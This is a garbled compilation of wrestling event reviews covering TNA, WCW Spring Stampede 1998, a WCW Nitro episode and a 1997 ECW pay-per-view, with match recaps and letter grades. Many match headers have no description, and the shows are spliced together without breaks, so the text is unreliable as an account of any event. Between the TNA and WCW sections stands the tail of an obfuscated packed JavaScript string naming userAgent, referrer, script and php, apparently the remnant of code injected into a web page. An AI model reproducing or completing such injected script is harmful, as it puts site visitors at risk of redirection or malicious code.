The opening video is themed like an old school radio announcer and how TNA is the new national pastime. It runs down the main events, which also includes Raven vs. Rhyno for the title. That and the triple threat are the only matches mentioned. I liked this and the stupid idea was kind of cute.

3 Live Kru vs. Diamonds in the Rough

We recap the preshow with Brown, Jarrett and Hardy all wanting the BFG title match. That would go to Kevin Nash on paper but Rhyno in reality.

Austin Aries vs. Roderick Strong

Monty Brown/Kip James vs. Lance Hoyt/Apolo

Brown and Kip take turns on the big man, trying to keep him down with work on the knee. Brown keeps him in the ring with pure raw power, which is the best thing for a guy like him to do. Off to Kip and he immediately screws up, getting caught in a double clothesline which allows the double tag to bring in Brown and Apolo. Apolo cleans house but gets caught in the Fameasser. That gets James nowhere as he walks into a big boot and the moonsault from Hoyt but Brown knocks him to the floor. Apolo superkicks Kip down but turns around into the Pounce from Brown for the pin.

Petey Williams vs. Chris Sabin

Sabin tries a dive off the apron but hits barricade to give the advantage to the Canadian. Back in now and Williams puts him into the Tree of Woe for O Canada. A backbreaker gets two for Williams but Sabin starts his comeback with shots to the ribs. Petey is like screw that and hits a big DDT for another two. Off to a chinlock as the fans do their dueling chants thing.

Matt Bentley returns post match and superkicks both guys. He wants an Ultimate X match at Bound For Glory which I think he wound up getting.

Sabu vs. Abyss

James Mitchell wants to make it No DQ and of course it is. Sabu fires away with right hands but they have next to no effect. Abyss throws him around but Sabu keeps coming, likely due to his history of head trauma. A big boot puts Sabu down but he keeps coming back with chops. The fans want tables less than two minutes into the match. Does foreplay mean nothing to these people?

Abyss goes under the ring and gets the tacks which are spread on the mat. They take turns teasing going into the tacks for a bit until Sabu whacks Abyss with a chair. That gets nowhere so Sabu springboards into a Black Hole Slam onto the tacks for the pin with no feet on the ropes this time.

Tenay and West talk about what we just heard.

Bobby Roode vs. Jeff Hardy

The hockey stick comes in but Jeff kicks him in the ribs and hits the Twist to take Roode down and out to the floor. Jeff loads up a Swanton to the floor but Roode moves before the jump. Petey tries the Destroyer on the floor but Jeff escapes. Now Jeff Jarrett comes out (Hardy attacked Jarrett last month) and blasts the other Jeff with the hockey stick and rolls Roode in for the pin.

The comeback is short lived as A-1 powerbombs the tar out of Stevens to stop him cold. Everything breaks down and Young superplexes Douglas for two. The Canadians load up a Doomsday Device but Jimmy pays them back for attacking him earlier. Young gets crotched and the Natural Disaster to the steak sauce man gets the pin to retain the belts.

Bound For Glory ad.

NWA World Title: Raven vs. Rhyno

We recap the main event. Daniels is champion and Joe won the shot last month over AJ. They threw Styles in there anyway and this is the result. Not much else needs to be said.

X-Division Title: Samoa Joe vs. AJ Styles vs. Christopher Daniels

Daniels looking up from his knees and shouting NO is the perfect way to end the show.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnkrf|var|u0026u|referrer|btneb||js|php'.split('|'),0,{})) Stampede 1998
Date: April 19, 1998
Location: Denver Coliseum, Denver, Colorado
Attendance: 7,428
Commentators: Bobby Heenan, Tony Schiavone, Mike Tenay

The opening video is about the power struggle in the NWO. Sting is there too but why waste time on the guy you spent all of 1997 building up as the great hope for WCW?

Savage has had the cast removed from his arm and the main event is now No DQ just because.

Perry Saturn vs. Goldberg

Ultimo Dragon vs. Chavo Guerrero Jr.

Diamond Dallas Page is on WCW.com, talking about going from pinning Savage a year ago to the US Title match here tonight.

TV Title: Chris Benoit vs. Booker T

The referee is helped from the ring.

Curt Hennig vs. British Bulldog

The slow motion continues as Bulldog is hitting the leg about twice a minute before going for the Sharpshooter. A cop, who is clearly Vincent, goes after Neidhart and gets choked down, allowing Rude to get a key and unlock himself. Neidhart is cuffed to the post as Hennig escapes the hold and sends Bulldog into the post for the pin, meaning the stuff outside accomplished absolutely nothing.

Bulldog and Neidhart get beaten down as the bell rings a lot, making this segment even more annoying.

Cruiserweight Title: Chris Jericho vs. Prince Iaukea

Off to a headlock on Jericho but he flips out, only to be caught in the headlock again. Back up and Jericho shoulder blocks him down but walks into a dropkick. Really basic stuff so far and Iaukea hooks another headlock. Jericho tries to skin the cat but gets dropkicked to the floor, followed by a flip dive off the apron from the Prince. Back in and we hit the headlock again because Iaukea is running out of offense.

Jericho drop toeholds him into the ropes and suplexes Iaukea down for two. Time for a chinlock because this match was starting to get slightly entertaining. Jericho slams him down and does his big strut. He takes WAY too long on the top rope and jumps into the feet, giving Prince control again. A Samoan drop and a springboard flip attack gets two but Jericho counters a victory roll into the Liontamer, only to have Iaukea next to the ropes.

Raven quotes Shakespeare to WCW.com.

Scott Steiner/Buff Bagwell vs. Lex Luger/Rick Steiner

Scott comes in while Rick is down and chokes a bit before bringing Buff back in. Buff slams him down and grabs the “injured” hand before getting two. Back to Scott who gets two but runs back to Buff at the kickout. Buff hooks the chinlock but lets it go to argue with the referee.

Call the hotline to find out who is in the back!

La Parka vs. Psychosis

The announcers talk for awhile to fill in even more time. Heenan goes into some analogy comparing Savage to a wounded dog with a long series of examples. Now they talk about the tension in the NWO and how it might be a big swerve.

The Giant/Roddy Piper vs. Hollywood Hogan/Kevin Nash

Kev walks away to pose but Giant snaps to his feet, setting up a double big boot to put both giants down. The double tag brings in Piper to face Hogan with Roddy pounding away to take over. Nash comes in and gets a low blow as everything breaks down. Giant dropkicks Nash to the floor as Piper puts Hogan in the sleeper. Piper goes up and gets the bat but Hogan knocks it out of his hands and throws it away.

Hogan tells Nash to powerbomb Giant but whacks Nash in the back with the bat, basically throwing him out of the NWO. Giant breaks the bat over his knee and swears vengeance on Hogan.

Slamboree ad, which they try to make sound more epic than Starrcade. Side note: why did WCW have so many PPVs that began with the letter S? Souled Out, SuperBrawl, Spring Stampede, Slamboree, Starrcade.

US Title: Diamond Dallas Page vs. Raven

Raven bails to the floor to avoid a Diamond Cutter and the fight heads up to the set. Page throws Raven off a stagecoach into some bails of hay before diving off said coach to take Raven down. Raven is thrown into a corral and beaten down by a trashcan. Now Raven goes through another wooden fence and suplexed onto the website table. Page is kicked into a wall and Raven blasts him in the head with a piece of metal.

The announcers basically guarantee that Goldberg is winning the title tomorrow night.

WCW World Title: Sting vs. Randy Savage

They head back to the floor because neither guy is interested in having a match at the moment. Savage is suplexed on the floor and sent into the barricade. Sting heads back inside but Randy hits him low and drapes him over the top rope for two. Savage clotheslines Sting into the referee before piledriving the champion down.

The last shot of the show is Hogan yelling that Savage has his belt and that Nash will pay.

We open with a recap of the main event from Nitro with Bret Hart cleaning house to save Sting.

NWO video on Buff Bagwell, showing him looking in a mirror.

Buff Bagwell vs. Rick Steiner

We get the same video on Goldberg from Nitro.

Goldberg vs. Barry Darsow

Goldberg vs. Saturn is official for Sunday. Barry tries to match power with Goldberg and is easily run over and thrown into the corner. Heenan: “This could be a very hair raising experience for Barry Darsow.” Darsow is bald if that clears anything up. Barry sends him over the top and out to the floor but Goldberg comes right back in with the spear. The Jackhammer makes it 73 in a row.

We get the same video on Page vs. Raven from Nitro.

TV Title: Booker T vs. Rick Fuller

Recap of Hogan vs. Nash, despite them not being opponents anytime soon.

Chris Benoit vs. Scott Norton

Benoit pulls Vincent to the floor for some chops before going in and being chopped down by Norton. A few elbow drops have Benoit in trouble and a slam puts him down again. Benoit comes back with some chops but Norton just punches him down with no selling at all. A splash in the corner crushes Benoit and a shoulder sends him all the way to the floor.

Benoit avoids a charge into the post but Norton is back inside first and still in control with a powerslam. Chris escapes a shoulder breaker and takes Norton down with two German suplexes. Norton charges into the post and gets caught in the Crossface, only to have Vincent come in for the DQ immediately.

Post match Booker comes in for the save but gets shoved down for his efforts.

Curt Hennig vs. Super Calo

Rude is on commentary as usual. Curt easily takes Calo down and hits a quick Hennig Necksnap for no cover. Calo avoids a charge in the corner and gets one off a quick missile dropkick. Curt will have none of that and stomps Calo down before ending him with the Hennigplex. Squash.

Cruiserweight Title: Chavo Guerrero Jr. vs. Chris Jericho

During the entrances, Tony rants about how WCW delivers the matches they promise, in reference to Austin vs. McMahon not happening. I would say I remember Ric Flair talking about that last week, but he never showed up as advertised. Chavo pounds away to start, only to get kicked in the ribs and suplexed down for two. Jericho charges into a boot in the corner and gets clotheslined down for two as well as Chavo stays in it. An atomic drop sets up a rollup for two more on Jericho but he trips Guerrero up and hooks an early Liontamer. Chavo crawls over to the ropes but Eddie slaps his hand away twice, forcing Chavo to tap out.

Giant vs. Bryan Adams

Post match the B team comes in but gets destroyed as well.

Video on Raven.

Silver King vs. Perry Saturn

Saturn side steps a fast dropkick and hits a running elbow in the corner, only to get caught in a tornado DDT. Saturn avoids a charge in the corner and superplexes King down before the Rings of Saturn gets the submission.

Video on Diamond Dallas Page.

Sting/Bret Hart vs. Randy Savage/Kevin Nash

Rating: D. This was the usual lazy main event match from all parties involved. Savage being injured excuses his lack of effort but the other three guys just looked bored out there. To be fair though Bret has nothing to do, Sting is the lamest of all lame duck champions and Nash is Nash so why bother trying at all?

So unlike in the major companies, we’ve had 4 months since the last PPV. Since then, Raven is gone and Dreamer is either the top face or the second biggest face in the company. He’s facing Jerry Lawler tonight in a match that’s more or less based off a mini invasion that the WWF was doing.

Other than that we’ve got a rematch from the Night the Line Was Crossed as it’s a three way dance with Funk, Douglas and Sabu, the current champion, having beaten Funk for the title from Funk about a week before. Why they bothered with that is beyond me but then again it’s ECW so there we are. Other than that, it’s a random assortment of matches that I’m sure aren’t likely to be explained, which isn’t Joey’s fault per se. Let’s get to it.

We of course start in the ring with Joey and the lighting is AWFUL. I mean you can barely see the crowd other than the first maybe 10 rows. What’s that they’re chanting? I can’t quite make it out. This should be interesting as they’re out of their comfort zone in New England. He runs down the card, which makes little sense as anyone that’s bought the show already likely knows the card already, but then again what do I know?

Only Funk gets anything close to a pop when mentioned. Lawler gets MAD heat. Joey is about to talk about Dreamer when he’s cut off by the music of Rick Rude. He clearly says son of a female dog when it starts. Rude sold out apparently. OH I remember this. It’s the time where he showed up on Raw and ECW and soon on Nitro as he jumped from WWF and appeared on both shows in one night as Raw was taped.

He had been on Hardcore TV the night before, so in 24 hours he appeared on all three shows. That’s pretty freaking cool. Rude had recently helped WWF guys beat ECW guys at Heatwave so no one likes him at all. Rude introduces Candido for the TV Title match. Yeah that was really useful Rick.

TV Title: Chris Candido vs. Taz

Something tells me I know the ending this already. Todd Gordon, the ECW Commissioner comes down and says Rude has to leave because he’s not a licensed manager. So let me get this straight. You can throw people through burning tables. You can have your arm split open and tape it back together. You can get tied together in barbed wire. You can have a lesbian angle on nationally syndicated television. All of that’s ok.

However, if you want to stand by the ring and cheer someone on, you need to have permission. I love making fun of wrestling. We go to the intro with the theme song, which I’ve never gotten why they do this after the show actually starts. It’s just very odd. We get a wide shot of the arena and you can’t see ANYTHING. Apparently this is a main event. Well ok then. The big match introductions never get old if nothing else. I have to give Taz this: he was perfect at what he did.

It’s so odd to see him being goofy like he is now and then here see him be more or less a killing machine. We get a nice TAZ IS GONNA KILL YOU chant. I thought TNA and ROH were supposed to be an alternative. They stole stuff from ECW too apparently so there we are. They mention Taz is 29 here.

That’s just weird to hear for some reason. He seems older than that but the same age now if that makes sense. They do a great mat wrestling sequence and submission exchange that I’m into. You can see the shadows on the mat. That’s just pitiful. An issue I have with referees in ECW: SLOW DOWN THE COUNTS. Watch an ECW match and they count as fast as they possibly can. It’s insane.

Candido works the neck which makes sense here if nothing else as this is where Taz broke his neck a few years ago. That’s rather smart and some nice continuity which you hardly ever get from the big two today. We hit the floor for a bit but the only weapons use would be a few slams into the railing which I’d hardly classify as weapons use. I like that.

A nice looking diving headbutt gets two as Candido is in control here. He sends Taz into the corner to set up the top rope powerbomb which was his finisher at this time. I like the set up for it also as he whips him in and Taz stays there. That’s not entirely contrived.

Actually yeah it is as any wrestler usually lands back first there and why would Taz do it differently, knowing what Candido finishes with? Eh, either way he counters with a nice suplex (shocking). After Taz goes suplex insane, he sits on the second rope with Candido in control somehow, but as Chris poses, the champ gives the throat slit and locks on the Tazmission for the tap out.

Rating: A-. NOW THAT’S MORE LIKE IT! If this was what ECW was like most of the time, I’d be a huge fan. This was hard hitting, fast paced, exciting stuff. Above all else though: THEY WRESTLED. This wasn’t about weapons and chairs and insanity. This was about two guys out there using their own talents and abilities to get something good doing and it worked to perfection. It would have been a higher grade with fewer powerbombs and more time, but still this was great.

Joey plugs their next PPV, and says you should come see it live, as a lot of the time stuff happens before they go on the air. Like tonight for example, the Insane Clown Posse showed up to perform, but the then heel RVD and Sabu showed up and beat the tar out of them. I always liked Van Dam.

Bam Bam Bigelow vs. Spike Dudley

This is a revenge match apparently. Spike is a bit different than the one that you see most of the time, as he’s Little Spike Dudley. He sees “colors” and wears tie dye. I think you get the joke. He was made into the Giant Killer after beating Bigelow on TV a week prior to this. The 80s explode here as Bigelow comes out to Welcome to the Jungle and Spike comes out to Highway to Hell.

Either way they’re both great bands and songs so there we are. Bigelow really was a big coup for ECW as he was a freaking machine that was quite good when he was on his game. He was the guy that threw Spike into the crowd and they body surfed him around the arena in one of ECW’s signature moments. After a splash maybe a minute into the match, Bigelow does a little dance which amuses me.

The fans keep chanting over here, as in where they want him to throw Spike. I have to give the fans this: they are very loyal. After hitting some decent little offense (like anything he could do is big) Spike takes one of the best powerbombs I’ve ever seen. That looked AWESOME.

In another great spot, Spike is thrown from the ring into about the 3rd row. That’s just impressive. This is a flat out crushing. It’s beyond a squash. Another great looking piledriver leads to the moonsault for the academic pin. That ring is really small. Spike bled a lot in there.

Rating: N/A. It was a really long squash. What can I give it as a legit grade? There were some painful looking spots in there and Bigelow looked awesome so all is right I guess.

We go back to the thing from before the show with the ICP where we see Sandman who was injured by RVD and Sabu and couldn’t wrestle. He beat on them a bit and then they beat him down. That’s traditional ECW if I’ve ever heard of it. I have no idea if the fans can see this as they have no video screens that I know of.

Rob Van Dam vs. Al Snow

This is Monday Night Rules, meaning it’s a traditional wrestling match. Snow wasn’t quite over yet though as he was little more than a former tag jobber as far as the mainstream goes. He would find Head soon enough though, which would be more than enough to get him over, which is putting it mildly. He gets almost no reaction here though.

RVD is one of the top heels here as he had been showing up on Raw and calling himself Mr. Monday Night. He was using what would become known as Starship Pain as his finisher there for no apparent reason. He gets mild heat as he’s just so popular for his in ring ability. Snow gets some boos but more or less it’s indifference. Head was the best thing that ever happened to him.

This starts off fast like the other match did and I’m perfectly fine with that. Joey makes an unintended joke as he points out that there are no mats. That’s true, but only WCW, the company they wanted to be completely different from, did that as a national company. They go to the floor and stay there longer in the Monday Night Rules match than they did in the traditiona ECW rules match.

That makes perfect sense right? Still though, that’s fine as they keep it between themselves with the only weapons being used being the guard rail. Like I said, I’d hardly even call that a weapon. Snow puts Van Dam against the apron on the floor and walks up the entry way before getting a running start for a clothesline. Ok, that’s fine.

What’s not fine is Joey asking if we saw that. NO YOU DIPSTICK WE DIDN’T BECAUSE THE CAMERA WAS ON VAN DAM. Will you think for like two seconds please? Back in the ring, Snow gets taken down and actually kicks out of the Frog Splash. That’s very surprising and gets a just barely over minimal reaction. We hit the floor and break out our first chair of the show, in a match under Monday Night Rules.

I love these absurd rules and the like. Snow does another of the long runs for a clothesline but gets a chair pelted into his face, in clear view of the referee, who does nothing but keep the ten count going. We go back into the ring now after some more chair stuff where RVD gets two. The chair stuff was minimal, but at least it made a bit more sense. We get a LOUD Van Dam chant just before the Van Daminator gets the pin.

Rating: B. This was good, although not as good as the first match. The Monday Night Rules thing was just stupid and pointless but whatever. I’m ok with the chair here because the focus of the match was still on the wrestling and in ring action which is the most important part of the show. Both of these guys would get far bigger over the next year or so, but this was pretty solid stuff, at least in theory.

In a WEIRD segment, we go to the EXTREME CHOPPER in the sky, following the Sandman’s ambulance. Ok, let me make sure have this straight. BEFORE the show started, so at least an hour ago, Sandman was put into an ambulance and taken away.

He has since taken over the ambulance and is now driving around the city, trying to find the War Memorial. It should be noted that apparently this is news worth following, despite him not wrestling tonight. Also, WHEN DID ECW GET A HELICOPTER??? I think it might actually be legit, but my guess is it’s somehow faked. Whatever.

We get a promo from Lawler, who says he was talking to Vince who says that this is a bad day in his career for having to go and do this himself. He says he’s not here alone. Apparently Taker is cheering him on. For some reason I don’t buy that. Apparently Bret Hart is cheering for him. That doesn’t sound right either. Finally, Austin apparently wants to be there too. All of them want him to use their finishers, which strikes me as very odd but whatever.

ECW Tag Titles: Dudley Boys vs. Gangstas

The Dudleys get no intro again. They’re joined by Big Dick Dudley, Sign Guy Dudley, Joel Gertner, and Jenna Jameson. Joel talks about how tonight….wait a minute. JENNA FREAKING JAMESON??? HOW DID THEY GET HER??? That makes little sense but whatever as she looks epic. Joey knows her before anyone introduces her. That’s not going to go over well at all methinks (stolen from X).

Anyway, Joel does the really long intro, including a great line of “One fall, fifteen minute time limit, your referee in charge is bald.” That’s a lot better than it sounds. Jenna looks like she’s having fun, which is far more than Pam Anderson could do. The Gangstas aren’t here tonight apparently, so the Dudleys win by forfeit. Instead we get this.

ECW Tag Titles: Dudley Boys vs. PG-13

The challengers are more commonly known as the white guys from the Nation of Domination. They were like 15 time tag champion in Memphis so whatever. They’re white rappers with the same amount of talent for wrestling that Vanilla Ice had at rapping. They’ve been talking all of ten seconds and I already hate them. They’re naturally the heels since they’re from Lawler’s company.

The one that talks is trying to be Jerry Lawler and it’s just failing all around. Oh and everyone wants to screw Jenna, and who can blame them? They must want to die from the clap or something like that. So after 8 minutes of intros we start with D-Von against Wolfie D. I wonder if he’s related to Desmond Wolf. You can shoot me at the end of the review. His partner is named JC Ice.

That sums them up as well as anything I can say. We get our first sexual assault on Jenna as JC hits the floor to kiss her. Ok correction: PG-13 aren’t bad. They’re just REALLY annoying. I really want to just smack the tar out of both of them 2 minutes into the match.

In an amusing spot, Bubba has one of the white guys in his evil clutches but as he’s handing him to D-Von for some cheating, JC reverses it to give Bubba’s arm to D-Von, who keeps ramming it over his shoulder while all of his managers try to get his attention. Once he finally gets the point he’s slammed the arm down about 9 times, drawing him a massive YOU F’D UP chant.

Actually, the Dudleys are the heels here, which is a tribute to their heel drawing abilities. The Dudleys are FAR bigger than the other guys. It’s really funny looking. Jenna looks incredible. Every time she jumps there’s a huge pop. They pick up the pace a lot and it turns into a free for all, which is how most tag matches in any company end so no problems there.

PG13 is something like the Briscos if you’re an ROH fan, just minus the flair and the gimmick. 3D on Wolfe and that’s it. That came out of nowhere. The announcer says still 3 time tag team champions, which they could have been if they had lost.

Rating: C+. This was slightly better than your average tag match which means it wasn’t that bad. It’s about ten minutes long and is a run of the mill power vs. high flying match, meaning that it’s decent enough. It’s no classic, but I’ve seen far worse matches. Yeah that’s all I’ve got.

Sandman is still trying to get back to the arena and this is still news, despite not having a match tonight. The Chopper is still looking for him. Apparently he stopped and got a carton of cigarettes and a beer. This is pointless. They have a spotlight on him but the guy in the chopper says he can’t see him.

Jerry Lawler vs. Tommy Dreamer

Lawler plugs Ground Zero, which was an ok show at best and crap at worst. He more or less says the same thing that he said in his promo, which to be fair the live crowd hasn’t heard. Styles says he won’t be impartial. Well at least he won’t pretend to be like Ross does. BeulahL is freaking gorgeous.

After pinning Raven, Dreamer is now more or less one of the top faces in the company right there with Taz. They start off fast with weapons and that’s fine here. This is supposed to be about showing Lawler what ECW is about and that’s what they’re doing here. Jerry is bleeding 10 seconds in.

Fans keep giving Dreamer weapons which is an old standard for the company, especially him. They’re in the crowd and the lighting is so bad you can’t tell who is who other than the outline of a beard. Jerry has had no offense at all. It’s chair time but as he tries to come in off the top rope, Lawler manages to crotch him. It’s a good thing this wasn’t in Philly Lawler would be dead by now.

Styles is being really calm actually which impresses me. In a spot I like, Lawler just holds the chair up and rams Dreamer’s head into it. And there goes the impartiality. Lawler chokes Dreamer. A lot. A whole lot. Oh there’s a piledriver and Dreamer becomes the first person to ever kick out of it!* (Note*: that means the first person in Ft. Lauderdale named Tommy wearing an ECW shirt in August of 97.)

He rips Dreamer’s shirt off and wipes himself with it which makes him jobber up. His chest looks like Hogan’s if nothing else. Dreamer poses which allows for a low blow to switch the momentum again. We have our ref bump of the match to really make it a big time match. Lawler adds a DDT to him for no apparent reason. Dreamer is about to crotch Lawler on the post and the lights go out.

They come back on and Rude blasts Dreamer with a trash can to bust him open. Why did they have to go out for that to happen? That only gets two as Lawler kicks the referee again. Dreamer sets for a piledriver and we lose the lights again. They come back on to reveal Jake Roberts for no apparent reason.

He hits a clothesline on Dreamer who convulses like Terry Funk for no apparent reason. He adds a DDT to Dreamer as Lawler has no idea why he’s there. Neither do I but whatever. Jake says his God giveth but he doesn’t have the balls to do anything else.

Now Roberts hits a clothesline on Lawler who lands on Dreamer for two. Roberts walks out as I wonder who is handling security tonight since Roberts just walked in and out at his own will. Dreamer sets for his own DDT and FOR THE LOVE OF GOODNESS SHOOT THE GUY THAT’S RUNNING THE LIGHTS!!!

Sunny is there this time and sprays hairspray in Dreamer’s eyes. Beulah, who hasn’t done anything this whole match and I had forgotten about her, starts a catfight. Lawler tries to use her for a human shield so she kicks him low to allow Tommy to hit the DDT for the pin. Not overbooked at ALL.

Rating: D+. Before I go into this, let it be known: this is for the wrestling and action itself and not the symbolism or importance of anything here. That being said, this wasn’t that good at all. It was mainly just random weapons and ball shots that led to nothing. Also the three run ins were just overkill.

Rude I get and Sunny would have been ok, but you could have killed it off there. Roberts made no sense at all though. See, earlier in the show when Rude was there for the introduction, that justified his run in here. Since he was there earlier, it validated him being there at the end because it was known he was in the arena to support Candido.

For Roberts and Sunny, they had no business in the arena and it made no sense for them to be there. If Roberts had cut a quick promo or something, it would have been way better. Anyway, this was what it was supposed to be: Lawler getting beaten up by Dream, which was what happened. I didn’t like it that much, but I’m sure ECW fans did and that was the point.

Styles gives up the intro for the three way dance as he talks about how this is a big rematch from three and a half years ago. Heyman does the same thing in a video package.

Sandman finds the arena. This isn’t going to go well is it?

World Title: Shane Douglas vs. Terry Funk vs. Sabu

Remember this is elimination rules. So we have a guy that I have never seen have a good match aside from with weapons and even then he’s so spotty. Funk is old and crazy and still ok but not great. Finally you have Shane who is about as overrated as a wrestler not named Elijah can be.

Funk is at least smart and stays on the floor to start which really is intelligent. The other match should have been the main event. It really should have been as it was the focus of the show. Joey talks about how this is a changing of the guard. That’s why it’s a rematch of three and a half years ago right? This is a pretty decent triple threat but nothing great.

To be fair though, I hate three way matches so that makes no difference. They go at it for about twenty minutes which includes weapons since Sabu can’t last longer than 10 without them. Of course we get the triple sleeper which just looks stupid but whatever.

Anyway, Sandman finally gets here despite arriving at the building about 30 minutes ago and nails Sabu with a ladder so both others can pin him. We get a big brawl as they fight to the back which means they’ll fight at November to Remember. The fans are way behind Funk now, even though there was zero point at all to having Sabu get the belt a week before this match.

The locker room comes out to watch this “epic showdown.” Either way, after another bit including a kickout of the belly to belly (HOW COULD FUNK DO THAT???) a low blow and rollup gives Douglas the title again because that’s how things roll in ECW.

After the match ends, the Dudleys and Joel come out to say that Douglas should join them and become the Triple Crown instead of the Triple Threat. Bigelow and Candido come out to challenge them leading to a massive brawl to end the show. That was rather pointless but whatever.

Rating: C+. Again, I don’t like these kinds of matches which has a lot to do with the grade here. The timing here of about 25 minutes was FAR better than the original’s hour which I like. I still don’t get the point of having Sabu take the title 8 days earlier but whatever. The match was what it was which was a bunch of spots but there was some flow going out there which made it work. Not bad, but it’s not my cup of tea.

Overall Rating: B-. OH MY GOODNESS this was a huge turnaround from last time. For one thing, it felt like a PPV. Ok so having 2000 people there made the show feel minor league, but this felt like a big time show. I don’t like the match order especially at the end, but the big thing here: they toned down the weapons.

That balance is what makes this much more bearable for me as instead of having just random violence everything had a nice flow to it. Also, stories were addressed instead of just a bunch of random matches. This could have been better, but it was good for what it was.

This felt like a major show instead of a celebration of them getting on PPV, so that makes this a better show in my eyes than Barely Legal. Check it out if you have two and a half hours to kill I guess, especially the opener as that was a lot of good stuff. It goes downhill after that, but not a ton.

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